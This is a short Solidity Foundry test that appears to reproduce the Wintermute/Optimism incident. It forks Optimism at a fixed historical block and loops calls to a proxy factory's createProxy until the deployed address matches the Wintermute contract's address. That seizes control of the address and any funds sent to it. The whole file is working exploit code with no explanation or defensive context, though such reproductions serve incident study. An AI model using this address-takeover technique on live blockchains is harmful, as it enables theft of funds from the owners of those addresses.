Optimism_exp.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface ProxyFactory {
  function createProxy(address masterCopy, bytes calldata data)
    external
    returns (address payable proxy);
}

contract ContractTest is DSTest {
  ProxyFactory proxy = ProxyFactory(0x76E2cFc1F5Fa8F6a5b3fC4c8F4788F0116861F9B);
  address public childcontract;
  CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  function setUp() public {
    cheats.createSelectFork("optimism", 10607735); //fork optimism at block 10607735
  }

  function testExploit() public {
    while (childcontract != 0x4f3a120E72C76c22ae802D129F599BFDbc31cb81) {
      childcontract = proxy.createProxy(
        0xE7145dd6287AE53326347f3A6694fCf2954bcD8A,
        "0x"
      );
      emit log_named_address("Created Wintermute contract", childcontract);
    }
  }
}